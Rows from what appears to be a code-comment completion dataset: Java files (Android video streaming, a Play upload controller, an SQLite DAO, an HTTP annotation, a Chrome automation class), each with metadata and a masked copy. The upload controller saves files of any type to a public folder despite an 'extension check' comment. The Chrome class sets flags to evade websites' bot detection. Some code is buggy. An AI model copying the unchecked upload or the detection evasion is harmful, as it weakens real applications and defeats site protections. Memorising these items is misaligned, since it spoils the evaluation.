if (i + 3 <= out.length) {
if (byteList.get(i).byteValue() == 0x00 && byteList.get(i + 1).byteValue() == 0x00 && byteList.get(i + 2).byteValue() == 0x00 && byteList.get(i + 3).byteValue() == 0x01) {
index.add(i);
}
}
}
Log.e("index","index="+index.size());
if (index.size()>=2){
//截取其中的一帧
byte[] frameBy = new byte[index.get(1)-index.get(0)];
int a = 0;
for (int i = index.get(0); i <=index.get(1)-1; i++) {
frameBy[a] = byteList.get(i).byteValue();
++a;
}
//传给H264解码器
for (byte b:frameBy){
Log.e("indecode","传入解码的数据:"+b);
}
if (frameBy.length!=0){
mPlayer.decodeH264(frameBy);
}
Log.e("tag","frameBy的长度:"+frameBy.length);
//从集合中删除上一帧之前的数据
for (int i = index.get(1)-1; i >=0; i--) {
byteList.remove(i);
}
for (Byte b:byteList){
Log.e("after","删除之后的剩余数据:"+b.byteValue());
}
index.clear();
}
}
}
} catch (IOException e) {
e.printStackTrace();
}
} else {
// Log.e("readSteam", "接受失败,socket断开了连接");
}
} else {
// Log.e("readSteam", "接受失败,socket关闭");
}
}
}
};
threadListener.start();
}
public byte[] subBytes(byte[] src, int begin, int count) {
byte[] bs = new byte[count];
for (int i = begin; i < begin + count; i++) bs[i - begin] = src[i];
return bs;
}
public static int bytesToInt(byte[] src, int offset) {
int value;
value = (int) ((src[offset] & 0xFF)
| ((src[offset + 1] & 0xFF) << 8)
| ((src[offset + 2] & 0xFF) << 16)
| ((src[offset + 3] & 0xFF) << 24));
return value;
}
/**
* 开启预览
*/
public synchronized void startPreview() {
if (mCamera != null && !started) {
mCamera.startPreview();
int previewFormat = mCamera.getParameters().getPreviewFormat();
Camera.Size previewSize = mCamera.getParameters().getPreviewSize();
int size = previewSize.width * previewSize.height
* ImageFormat.getBitsPerPixel(previewFormat)
/ 8;
mCamera.addCallbackBuffer(new byte[size]);
mCamera.setPreviewCallbackWithBuffer(previewCallback);
started = true;
btnSwitch.setText("停止");
mPlayer = new AvcDecode(width, height, video_play.getHolder().getSurface());
startSocketListener();
}
}
/**
* 停止预览
*/
public synchronized void stopPreview() {
if (mCamera != null) {
mCamera.stopPreview();
mCamera.setPreviewCallbackWithBuffer(null);
started = false;
btnSwitch.setText("开始");
try {
if (socket != null) {
if (socket.isConnected()) {
socket.close();
}
}
} catch (IOException e) {
e.printStackTrace();
}
// threadListener.stop();
}
}
/**
* 销毁Camera
*/
protected synchronized void destroyCamera() {
if (mCamera != null) {
mCamera.stopPreview();
try {
mCamera.release();
} catch (Exception e) {
}
mCamera = null;
}
}
private int getDgree() {
int rotation = getWindowManager().getDefaultDisplay().getRotation();
int degrees = 0;
switch (rotation) {
case Surface.ROTATION_0:
degrees = 0;
break; // Natural orientation
case Surface.ROTATION_90:
degrees = 90;
break; // Landscape left
case Surface.ROTATION_180:
degrees = 180;
break;// Upside down
case Surface.ROTATION_270:
degrees = 270;
break;// Landscape right
}
return degrees;
}
@Override
public void onClick(View v) {
switch (v.getId()) {
case R.id.btn_switch:
new Thread(new Runnable() {
@Override
public void run() {
socket = App.getInstance().getSocket();
Message msg = Message.obtain();
if (socket == null) {
msg.what = 1;
handler.sendMessage(msg);
} else if (!socket.isConnected()) {
msg.what = 2;
handler.sendMessage(msg);
} else {
msg.what = 3;
handler.sendMessage(msg);
}
}
}).start();
break;
}
}
@Override
protected void onDestroy() {
super.onDestroy();
destroyCamera();
mMediaCodec.stop();
mMediaCodec.release();
mMediaCodec = null;
}
}
| 1 | 24 | 1 |
43767_3 | package controllers.admin;
import java.io.File;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.List;
import java.util.Random;
import models.mag_article;
import models.mag_banner;
import models.mag_works;
import models.mag_worksclass;
import play.Play;
import play.libs.Files;
import play.mvc.Controller;
import com.alibaba.fastjson.JSON;
public class Banner extends Controller{
public static void allBanner(){
mag_banner banner = new mag_banner();
renderJSON("{\"data\":"+banner.allBanner()+"}");
}
public static void addBanner(String title,String remark,File image,String artclass ,String ardid){
System.out.println(title);
System.out.println(remark);
System.out.println(image);
System.out.println(artclass);
System.out.println(ardid);
//文件保存目录路径
String savePath = Play.applicationPath.toString()+Play.configuration.getProperty("newsImg.savePath", "/public/upload/");
//文件保存目录URL
String saveUrl = Play.configuration.getProperty("newsImg.savePath", "/public/upload/");
if (image != null) {
//检查目录
File uploadDir = new File(savePath);
if(!uploadDir.isDirectory()){
renderJSON("{\"state\":\"上传目录不存在。\"}");
return;
}
//检查目录写权限
if(!uploadDir.canWrite()){
renderJSON("{\"state\":\"上传目录没有写权限。\"}");
return;
}
String ymd = "banner";
savePath += ymd + "/";
saveUrl += ymd + "/";
File dirFile = new File(savePath);
if (!dirFile.exists()) {
dirFile.mkdirs();
}
//检查扩展名
String fileExt = image.getName().substring(image.getName().lastIndexOf(".") + 1).toLowerCase();
SimpleDateFormat df = new SimpleDateFormat("yyyyMMddHHmmss");
String newFileName = df.format(new Date()) + "_" + new Random().nextInt(1000) + "." + fileExt;
File f = new File(savePath,newFileName);
try {
Files.copy(image,f);
System.out.println(saveUrl + newFileName);
java.text.DateFormat format1 = new java.text.SimpleDateFormat(
"yyyy-MM-dd hh:mm");
String timeStr = format1.format(new Date()).toString();
if(artclass == "作品"){
mag_banner banner = new mag_banner( title, remark, saveUrl + newFileName, timeStr,"", ardid, "作品");
banner.save();
}else{
mag_banner banner = new mag_banner( title, remark, saveUrl + newFileName, timeStr,"", ardid, "文章");
banner.save();
}
renderJSON("{\"state\":\"操作成功\"}");
} catch (Exception e) {
e.printStackTrace();
renderJSON("{\"state\":\"上传失败\"}");
}
}else{
renderJSON("{\"state\":\"请选择文件。\"}");
}
renderJSON("{\"status\":\"操作成功\"}");
}
public static void getBanner(){
}
public static void delBanner(){
}
public static void allBannerList(){
List<mag_article> artlist = mag_article.find("order by id desc").fetch();
List<mag_works> worklist = mag_works.find("order by id desc").fetch();
String artStr = JSON.toJSONString(artlist);
String worksStr = JSON.toJSONString(worklist);
renderJSON("{\"artlist\":"+artStr+",\"worklist\":"+worksStr+"}");
}
}
| DreamCoord/DreamCMS | app/controllers/admin/Banner.java | 959 | //检查目录写权限 | line_comment | zh-cn | package controllers.admin;
import java.io.File;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.List;
import java.util.Random;
import models.mag_article;
import models.mag_banner;
import models.mag_works;
import models.mag_worksclass;
import play.Play;
import play.libs.Files;
import play.mvc.Controller;
import com.alibaba.fastjson.JSON;
public class Banner extends Controller{
public static void allBanner(){
mag_banner banner = new mag_banner();
renderJSON("{\"data\":"+banner.allBanner()+"}");
}
public static void addBanner(String title,String remark,File image,String artclass ,String ardid){
System.out.println(title);
System.out.println(remark);
System.out.println(image);
System.out.println(artclass);
System.out.println(ardid);
//文件保存目录路径
String savePath = Play.applicationPath.toString()+Play.configuration.getProperty("newsImg.savePath", "/public/upload/");
//文件保存目录URL
String saveUrl = Play.configuration.getProperty("newsImg.savePath", "/public/upload/");
if (image != null) {
//检查目录
File uploadDir = new File(savePath);
if(!uploadDir.isDirectory()){
renderJSON("{\"state\":\"上传目录不存在。\"}");
return;
}
//检查 <SUF>
if(!uploadDir.canWrite()){
renderJSON("{\"state\":\"上传目录没有写权限。\"}");
return;
}
String ymd = "banner";
savePath += ymd + "/";
saveUrl += ymd + "/";
File dirFile = new File(savePath);
if (!dirFile.exists()) {
dirFile.mkdirs();
}
//检查扩展名
String fileExt = image.getName().substring(image.getName().lastIndexOf(".") + 1).toLowerCase();
SimpleDateFormat df = new SimpleDateFormat("yyyyMMddHHmmss");
String newFileName = df.format(new Date()) + "_" + new Random().nextInt(1000) + "." + fileExt;
File f = new File(savePath,newFileName);
try {
Files.copy(image,f);
System.out.println(saveUrl + newFileName);
java.text.DateFormat format1 = new java.text.SimpleDateFormat(
"yyyy-MM-dd hh:mm");
String timeStr = format1.format(new Date()).toString();
if(artclass == "作品"){
mag_banner banner = new mag_banner( title, remark, saveUrl + newFileName, timeStr,"", ardid, "作品");
banner.save();
}else{
mag_banner banner = new mag_banner( title, remark, saveUrl + newFileName, timeStr,"", ardid, "文章");
banner.save();
}
renderJSON("{\"state\":\"操作成功\"}");
} catch (Exception e) {
e.printStackTrace();
renderJSON("{\"state\":\"上传失败\"}");
}
}else{
renderJSON("{\"state\":\"请选择文件。\"}");
}
renderJSON("{\"status\":\"操作成功\"}");
}
public static void getBanner(){
}
public static void delBanner(){
}
public static void allBannerList(){
List<mag_article> artlist = mag_article.find("order by id desc").fetch();
List<mag_works> worklist = mag_works.find("order by id desc").fetch();
String artStr = JSON.toJSONString(artlist);
String worksStr = JSON.toJSONString(worklist);
renderJSON("{\"artlist\":"+artStr+",\"worklist\":"+worksStr+"}");
}
}
| 1 | 9 | 1 |
36160_53 | package cwp.moneycharge.dao;
import android.content.Context;
import android.database.Cursor;
import android.database.sqlite.SQLiteDatabase;
import com.cwp.cmoneycharge.R;
import java.util.ArrayList;
import java.util.List;
import cwp.moneycharge.model.Tb_ptype;
//收入类型的数据库
public class PtypeDAO {
// (_id INTEGER NOT NULL PRIMARY KEY,no not null integer ,typename
// varchar(50)
private DBOpenHelper helper;// 创建DBOpenHelper对象
private SQLiteDatabase db;// 创建SQLiteDatabase对象
int[] imageId = new int[] { R.drawable.icon_spjs_zwwc,
R.drawable.icon_spjs_zwwc, R.drawable.icon_spjs_zwwc,
R.drawable.icon_spjs_zwwc, R.drawable.icon_jjwy_rcyp,
R.drawable.icon_xxyl_wg, R.drawable.icon_yfsp,
R.drawable.icon_rqwl_slqk, R.drawable.icon_jltx_sjf,
R.drawable.icon_spjs, R.drawable.icon_jrbx_ajhk,
R.drawable.icon_jrbx, R.drawable.icon_xcjt_dczc,
R.drawable.icon_qtzx, R.drawable.icon_jrbx_lxzc, R.drawable.yysb };
public PtypeDAO(Context context) {
// TODO Auto-generated constructor stub
helper = new DBOpenHelper(context);// 初始化DBOpenHelper对象
}
/**
* 新增收入类型
*
* @param tb_ptype
*/
public void add(Tb_ptype tb_ptype) {
db = helper.getWritableDatabase();// 初始化SQLiteDatabase对象
db.execSQL(
"insert into tb_ptype (_id,no,typename) values (?,?,?)",
new Object[] { tb_ptype.get_id(), tb_ptype.getNo(),
tb_ptype.getTypename() });// 执行添加支出类型操作
}
/**
* 修改收入类型
*
* @param tb_ptype
*/
public void modify(Tb_ptype tb_ptype) {
db = helper.getWritableDatabase();// 初始化SQLiteDatabase对象
db.execSQL(
"update Tb_ptype set typename = ? where _id = ? and no=?",
new Object[] { tb_ptype.get_id(), tb_ptype.getNo(),
tb_ptype.getTypename() });// 执行修改支出类型操作
}
public void modifyByName(int id, String old, String now) {
db = helper.getWritableDatabase();
db.execSQL(
"update Tb_ptype set typename = ? where _id = ? and typename=?",
new Object[] { id, now, old });// 执行修改收入类型操作
}
/**
* 删除收入类型
*
* @param ids
*/
public void delete(Integer... ids) {
if (ids.length > 0)// 判断是否存在要删除的id
{
StringBuffer sb = new StringBuffer();// 创建StringBuffer对象
for (int i = 0; i < ids.length - 1; i++)// 遍历要删除的id集合
{
sb.append('?').append(',');// 将删除条件添加到StringBuffer对象中
}
sb.deleteCharAt(sb.length() - 1);// 去掉最后一个“,“字符
db = helper.getWritableDatabase();// 创建SQLiteDatabase对象
// 执行删除便签信息操作
db.execSQL("delete from tb_ptype where _id in (?) and no in (" + sb
+ ")", (Object[]) ids);
}
}
public void deleteByName(int id, String typename) {
db = helper.getWritableDatabase();// 创建SQLiteDatabase对象
// 执行删除便签信息操作
db.execSQL("delete from tb_ptype where _id =? and typename=?",
new Object[] { id, typename });
}
public void deleteById(int id) {
db = helper.getWritableDatabase();// 创建SQLiteDatabase对象
// 执行删除便签信息操作
db.execSQL("delete from tb_ptype where _id =? ", new Object[] { id });
}
/**
* 获取收入类型信息
*
* @param start
* 起始位置
* @param count
* 每页显示数量
* @return
*/
public List<Tb_ptype> getScrollData(int id, int start, int count) {
List<Tb_ptype> lisTb_ptype = new ArrayList<Tb_ptype>();// 创建集合对象
db = helper.getWritableDatabase();// 初始化SQLiteDatabase对象
// 获取所有便签信息
Cursor cursor = db.rawQuery(
"select * from tb_ptype where _id=? order by no limit ?,?",
new String[] { String.valueOf(id), String.valueOf(start),
String.valueOf(count) });
while (cursor.moveToNext())// 遍历所有的便签信息
{
// 将遍历到的便签信息添加到集合中
lisTb_ptype.add(new Tb_ptype(cursor.getInt(cursor
.getColumnIndex("_id")), cursor.getInt(cursor
.getColumnIndex("no")), cursor.getString(cursor
.getColumnIndex("typename"))));
}
return lisTb_ptype;// 返回集合
}
/**
* 获取总记录数
*
* @return
*/
public long getCount() {
db = helper.getWritableDatabase();// 初始化SQLiteDatabase对象
Cursor cursor = db.rawQuery("select count(no) from tb_ptype", null);// 获取支出类型的记录数
if (cursor.moveToNext())// 判断Cursor中是否有数据
{
return cursor.getLong(0);// 返回总记录数
}
return 0;// 如果没有数据,则返回0
}
public long getCount(int id) {
db = helper.getWritableDatabase();// 初始化SQLiteDatabase对象
Cursor cursor = db.rawQuery(
"select count(no) from tb_ptype where _id=?",
new String[] { String.valueOf(id) });// 获取收入信息的记录数
if (cursor.moveToNext())// 判断Cursor中是否有数据
{
return cursor.getLong(0);// 返回总记录数
}
return 0;// 如果没有数据,则返回0
}
/**
* 获取便签最大编号
*
* @return
*/
public int getMaxId() {
db = helper.getWritableDatabase();// 初始化SQLiteDatabase对象
Cursor cursor = db.rawQuery("select max(no) from tb_ptype", null);// 获取收入类型表中的最大编号
while (cursor.moveToLast()) {// 访问Cursor中的最后一条数据
return cursor.getInt(0);// 获取访问到的数据,即最大编号
}
return 0;// 如果没有数据,则返回0
}
/**
* 获取类型名数组 param id
*
* @return
* */
public List<String> getPtypeName(int id) {
List<String> lisCharSequence = new ArrayList<String>();// 创建集合对象
db = helper.getWritableDatabase();// 初始化SQLiteDatabase对象
Cursor cursor = db.rawQuery(
"select typename from tb_ptype where _id=?",
new String[] { String.valueOf(id) });// 获取收入类型表中的最大编号
while (cursor.moveToNext()) {// 访问Cursor中的最后一条数据
lisCharSequence.add(cursor.getString(cursor
.getColumnIndex("typename")));
}
return lisCharSequence;// 如果没有数据,则返回0
}
public String getOneName(int id, int no) {
db = helper.getWritableDatabase();// 初始化SQLiteDatabase对象
Cursor cursor = db.rawQuery(
"select typename from tb_ptype where _id=? and no=?",
new String[] { String.valueOf(id), String.valueOf(no) });
if (cursor.moveToNext()) {
return cursor.getString(cursor.getColumnIndex("typename"));
}
return "";
}
public int getOneImg(int id, int no) {
if (imageId.length < no) {
return imageId[14];
}
return imageId[no - 1];
}
public void initData(int id) {
db = helper.getWritableDatabase();// 初始化SQLiteDatabase对象
db.execSQL("delete from tb_ptype where _id=?",
new String[] { String.valueOf(id) }); // 确保无该id
db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)",
new String[] { String.valueOf(id), "1", "早餐" });
db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)",
new String[] { String.valueOf(id), "2", "午餐" });
db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)",
new String[] { String.valueOf(id), "3", "晚餐" });
db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)",
new String[] { String.valueOf(id), "4", "夜宵" });
db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)",
new String[] { String.valueOf(id), "5", "生活用品" });
db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)",
new String[] { String.valueOf(id), "6", "工作用品" });
db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)",
new String[] { String.valueOf(id), "7", "衣服" });
db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)",
new String[] { String.valueOf(id), "8", "应酬" });
db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)",
new String[] { String.valueOf(id), "9", "电子产品" });
db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)",
new String[] { String.valueOf(id), "10", "食品" });
db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)",
new String[] { String.valueOf(id), "11", "租金" });
db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)",
new String[] { String.valueOf(id), "12", "股票" });
db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)",
new String[] { String.valueOf(id), "13", "打的" });
db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)",
new String[] { String.valueOf(id), "14", "基金" });
db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)",
new String[] { String.valueOf(id), "15", "其他" });
db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)",
new String[] { String.valueOf(id), "16", "语音识别" });
}
}
| Dreamer206602/QuickMoney | app/src/main/java/cwp/moneycharge/dao/PtypeDAO.java | 2,796 | // 获取收入类型表中的最大编号 | line_comment | zh-cn | package cwp.moneycharge.dao;
import android.content.Context;
import android.database.Cursor;
import android.database.sqlite.SQLiteDatabase;
import com.cwp.cmoneycharge.R;
import java.util.ArrayList;
import java.util.List;
import cwp.moneycharge.model.Tb_ptype;
//收入类型的数据库
public class PtypeDAO {
// (_id INTEGER NOT NULL PRIMARY KEY,no not null integer ,typename
// varchar(50)
private DBOpenHelper helper;// 创建DBOpenHelper对象
private SQLiteDatabase db;// 创建SQLiteDatabase对象
int[] imageId = new int[] { R.drawable.icon_spjs_zwwc,
R.drawable.icon_spjs_zwwc, R.drawable.icon_spjs_zwwc,
R.drawable.icon_spjs_zwwc, R.drawable.icon_jjwy_rcyp,
R.drawable.icon_xxyl_wg, R.drawable.icon_yfsp,
R.drawable.icon_rqwl_slqk, R.drawable.icon_jltx_sjf,
R.drawable.icon_spjs, R.drawable.icon_jrbx_ajhk,
R.drawable.icon_jrbx, R.drawable.icon_xcjt_dczc,
R.drawable.icon_qtzx, R.drawable.icon_jrbx_lxzc, R.drawable.yysb };
public PtypeDAO(Context context) {
// TODO Auto-generated constructor stub
helper = new DBOpenHelper(context);// 初始化DBOpenHelper对象
}
/**
* 新增收入类型
*
* @param tb_ptype
*/
public void add(Tb_ptype tb_ptype) {
db = helper.getWritableDatabase();// 初始化SQLiteDatabase对象
db.execSQL(
"insert into tb_ptype (_id,no,typename) values (?,?,?)",
new Object[] { tb_ptype.get_id(), tb_ptype.getNo(),
tb_ptype.getTypename() });// 执行添加支出类型操作
}
/**
* 修改收入类型
*
* @param tb_ptype
*/
public void modify(Tb_ptype tb_ptype) {
db = helper.getWritableDatabase();// 初始化SQLiteDatabase对象
db.execSQL(
"update Tb_ptype set typename = ? where _id = ? and no=?",
new Object[] { tb_ptype.get_id(), tb_ptype.getNo(),
tb_ptype.getTypename() });// 执行修改支出类型操作
}
public void modifyByName(int id, String old, String now) {
db = helper.getWritableDatabase();
db.execSQL(
"update Tb_ptype set typename = ? where _id = ? and typename=?",
new Object[] { id, now, old });// 执行修改收入类型操作
}
/**
* 删除收入类型
*
* @param ids
*/
public void delete(Integer... ids) {
if (ids.length > 0)// 判断是否存在要删除的id
{
StringBuffer sb = new StringBuffer();// 创建StringBuffer对象
for (int i = 0; i < ids.length - 1; i++)// 遍历要删除的id集合
{
sb.append('?').append(',');// 将删除条件添加到StringBuffer对象中
}
sb.deleteCharAt(sb.length() - 1);// 去掉最后一个“,“字符
db = helper.getWritableDatabase();// 创建SQLiteDatabase对象
// 执行删除便签信息操作
db.execSQL("delete from tb_ptype where _id in (?) and no in (" + sb
+ ")", (Object[]) ids);
}
}
public void deleteByName(int id, String typename) {
db = helper.getWritableDatabase();// 创建SQLiteDatabase对象
// 执行删除便签信息操作
db.execSQL("delete from tb_ptype where _id =? and typename=?",
new Object[] { id, typename });
}
public void deleteById(int id) {
db = helper.getWritableDatabase();// 创建SQLiteDatabase对象
// 执行删除便签信息操作
db.execSQL("delete from tb_ptype where _id =? ", new Object[] { id });
}
/**
* 获取收入类型信息
*
* @param start
* 起始位置
* @param count
* 每页显示数量
* @return
*/
public List<Tb_ptype> getScrollData(int id, int start, int count) {
List<Tb_ptype> lisTb_ptype = new ArrayList<Tb_ptype>();// 创建集合对象
db = helper.getWritableDatabase();// 初始化SQLiteDatabase对象
// 获取所有便签信息
Cursor cursor = db.rawQuery(
"select * from tb_ptype where _id=? order by no limit ?,?",
new String[] { String.valueOf(id), String.valueOf(start),
String.valueOf(count) });
while (cursor.moveToNext())// 遍历所有的便签信息
{
// 将遍历到的便签信息添加到集合中
lisTb_ptype.add(new Tb_ptype(cursor.getInt(cursor
.getColumnIndex("_id")), cursor.getInt(cursor
.getColumnIndex("no")), cursor.getString(cursor
.getColumnIndex("typename"))));
}
return lisTb_ptype;// 返回集合
}
/**
* 获取总记录数
*
* @return
*/
public long getCount() {
db = helper.getWritableDatabase();// 初始化SQLiteDatabase对象
Cursor cursor = db.rawQuery("select count(no) from tb_ptype", null);// 获取支出类型的记录数
if (cursor.moveToNext())// 判断Cursor中是否有数据
{
return cursor.getLong(0);// 返回总记录数
}
return 0;// 如果没有数据,则返回0
}
public long getCount(int id) {
db = helper.getWritableDatabase();// 初始化SQLiteDatabase对象
Cursor cursor = db.rawQuery(
"select count(no) from tb_ptype where _id=?",
new String[] { String.valueOf(id) });// 获取收入信息的记录数
if (cursor.moveToNext())// 判断Cursor中是否有数据
{
return cursor.getLong(0);// 返回总记录数
}
return 0;// 如果没有数据,则返回0
}
/**
* 获取便签最大编号
*
* @return
*/
public int getMaxId() {
db = helper.getWritableDatabase();// 初始化SQLiteDatabase对象
Cursor cursor = db.rawQuery("select max(no) from tb_ptype", null);// 获取收入类型表中的最大编号
while (cursor.moveToLast()) {// 访问Cursor中的最后一条数据
return cursor.getInt(0);// 获取访问到的数据,即最大编号
}
return 0;// 如果没有数据,则返回0
}
/**
* 获取类型名数组 param id
*
* @return
* */
public List<String> getPtypeName(int id) {
List<String> lisCharSequence = new ArrayList<String>();// 创建集合对象
db = helper.getWritableDatabase();// 初始化SQLiteDatabase对象
Cursor cursor = db.rawQuery(
"select typename from tb_ptype where _id=?",
new String[] { String.valueOf(id) });// 获取 <SUF>
while (cursor.moveToNext()) {// 访问Cursor中的最后一条数据
lisCharSequence.add(cursor.getString(cursor
.getColumnIndex("typename")));
}
return lisCharSequence;// 如果没有数据,则返回0
}
public String getOneName(int id, int no) {
db = helper.getWritableDatabase();// 初始化SQLiteDatabase对象
Cursor cursor = db.rawQuery(
"select typename from tb_ptype where _id=? and no=?",
new String[] { String.valueOf(id), String.valueOf(no) });
if (cursor.moveToNext()) {
return cursor.getString(cursor.getColumnIndex("typename"));
}
return "";
}
public int getOneImg(int id, int no) {
if (imageId.length < no) {
return imageId[14];
}
return imageId[no - 1];
}
public void initData(int id) {
db = helper.getWritableDatabase();// 初始化SQLiteDatabase对象
db.execSQL("delete from tb_ptype where _id=?",
new String[] { String.valueOf(id) }); // 确保无该id
db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)",
new String[] { String.valueOf(id), "1", "早餐" });
db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)",
new String[] { String.valueOf(id), "2", "午餐" });
db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)",
new String[] { String.valueOf(id), "3", "晚餐" });
db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)",
new String[] { String.valueOf(id), "4", "夜宵" });
db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)",
new String[] { String.valueOf(id), "5", "生活用品" });
db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)",
new String[] { String.valueOf(id), "6", "工作用品" });
db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)",
new String[] { String.valueOf(id), "7", "衣服" });
db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)",
new String[] { String.valueOf(id), "8", "应酬" });
db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)",
new String[] { String.valueOf(id), "9", "电子产品" });
db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)",
new String[] { String.valueOf(id), "10", "食品" });
db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)",
new String[] { String.valueOf(id), "11", "租金" });
db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)",
new String[] { String.valueOf(id), "12", "股票" });
db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)",
new String[] { String.valueOf(id), "13", "打的" });
db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)",
new String[] { String.valueOf(id), "14", "基金" });
db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)",
new String[] { String.valueOf(id), "15", "其他" });
db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)",
new String[] { String.valueOf(id), "16", "语音识别" });
}
}
| 1 | 16 | 1 |
12403_0 | package cn.dreampie.route.annotation;
import cn.dreampie.route.valid.Validator;
import java.lang.annotation.*;
/**
* Annotation used to mark a resource method that responds to HTTP PUT requests.
* 这个方法比较少见。HTML表单也不支持这个。本质上来讲, PUT和POST极为相似,都是向服务器发送数据,但它们之间有一个重要区别,PUT通常指定了资源的存放位置,而POST则没有,POST的数据存放位置由服务器自己决定。
* 举个例子:如一个用于提交博文的URL,/addBlog。如果用PUT,则提交的URL会是像这样的”/addBlog/abc123”,其中abc123就是这个博文的地址。而如果用POST,则这个地址会在提交后由服务器告知客户端。目前大部分博客都是这样的。
* 显然,PUT和POST用途是不一样的。具体用哪个还取决于当前的业务场景。
* PUT 用于更新某个资源较完整的内容,比如说用户要重填完整表单更新所有信息,后台处理更新时可能只是保留内部记录 ID 不
*/
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.METHOD)
@Documented
public @interface PUT {
String value() default "";
String[] headers() default {};
String des() default "";
Class<? extends Validator>[] valid() default {};
}
| Dreampie/Resty | resty-route/src/main/java/cn/dreampie/route/annotation/PUT.java | 332 | /**
* Annotation used to mark a resource method that responds to HTTP PUT requests.
* 这个方法比较少见。HTML表单也不支持这个。本质上来讲, PUT和POST极为相似,都是向服务器发送数据,但它们之间有一个重要区别,PUT通常指定了资源的存放位置,而POST则没有,POST的数据存放位置由服务器自己决定。
* 举个例子:如一个用于提交博文的URL,/addBlog。如果用PUT,则提交的URL会是像这样的”/addBlog/abc123”,其中abc123就是这个博文的地址。而如果用POST,则这个地址会在提交后由服务器告知客户端。目前大部分博客都是这样的。
* 显然,PUT和POST用途是不一样的。具体用哪个还取决于当前的业务场景。
* PUT 用于更新某个资源较完整的内容,比如说用户要重填完整表单更新所有信息,后台处理更新时可能只是保留内部记录 ID 不
*/ | block_comment | zh-cn | package cn.dreampie.route.annotation;
import cn.dreampie.route.valid.Validator;
import java.lang.annotation.*;
/**
* Ann <SUF>*/
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.METHOD)
@Documented
public @interface PUT {
String value() default "";
String[] headers() default {};
String des() default "";
Class<? extends Validator>[] valid() default {};
}
| 0 | 437 | 0 |
50273_110 | package com.cy.rpa.behavior.web;
import cn.hutool.core.io.FileUtil;
import com.cy.rpa.config.RPAConfig;
import com.cy.rpa.behavior.web.listeners.CustomEventListener;
import com.cy.rpa.toolkit.CmdUtil;
import io.github.bonigarcia.wdm.WebDriverManager;
import lombok.Data;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.StringUtils;
import org.openqa.selenium.*;
import org.openqa.selenium.chrome.ChromeDriver;
import org.openqa.selenium.chrome.ChromeOptions;
import org.openqa.selenium.interactions.Actions;
import org.openqa.selenium.support.events.EventFiringWebDriver;
import org.openqa.selenium.support.ui.ExpectedConditions;
import org.openqa.selenium.support.ui.Select;
import org.openqa.selenium.support.ui.WebDriverWait;
import java.io.File;
import java.time.Duration;
import java.util.Iterator;
import java.util.List;
import java.util.Set;
/**
* Browser 网页自动化根类
*
* @author Liang Zhaoyuan
* @version 2024/02/01 19:07
**/
@Data
@Slf4j
public class Browser {
/*浏览器驱动*/
private EventFiringWebDriver driver;
/*js执行器*/
private JavascriptExecutor js;
/*actions类 链式网页操作*/
private Actions actions;
/**
* 初始化谷歌浏览器
*/
public void initChrome() {
String userProfile = RPAConfig.envPath + File.separator + "browser\\User Data";
//设置 ChromeDriver 路径
String chromeDriverPath = RPAConfig.envPath + File.separator + "browser\\drivers\\chromedriver.exe";
// 设置 Chrome 可执行文件路径
String chromePath = RPAConfig.envPath + File.separator + "browser\\chrome-win64\\chrome.exe";
//设置远程调试地址和端口
String ipAddress = "localhost";
int port = 9889;
String debuggerAddress = ipAddress + ":" + port;
//是否初始化
boolean isInitialized = true;
ChromeOptions options = new ChromeOptions();
if (FileUtil.exist(chromeDriverPath) && FileUtil.exist(chromePath) && FileUtil.exist(userProfile)) {
System.setProperty("webdriver.chrome.driver", chromeDriverPath);
options.setBinary(chromePath);
} else {
log.warn("路径下内置的谷歌浏览器驱动不存在!正在尝试使用WebDriverManager获取驱动...");
WebDriverManager.chromedriver().setup();
}
if (CmdUtil.isPortInUse(9889)) {
isInitialized = false;
try {
log.info("端口9889被占用,尝试使用已启动的Chrome浏览器...");
options.setExperimentalOption("debuggerAddress", debuggerAddress);
} catch (Exception e) {
log.info("尝试使用已启动的Chrome浏览器失败,正在尝试关闭占用端口的Chrome进程...");
CmdUtil.closeProcessOnPort(port);
log.info("占用端口的Chrome进程已关闭,正在尝试重新启动Chrome浏览器...");
isInitialized = true;
}
}
if (isInitialized) {
// 添加其他 ChromeOptions 设置
options.addArguments("--start-maximized"); // 最大化窗口
// options.addArguments("--headless"); // 无头模式,如果需要(更容易被检测)
options.addArguments("--disable-blink-features=AutomationControlled");//开发者模式可以减少一些网站对自动化脚本的检测。
//options.addArguments("--disable-gpu"); // 禁用GPU加速
options.addArguments("--remote-allow-origins=*"); // 解决 403 出错问题,允许远程连接
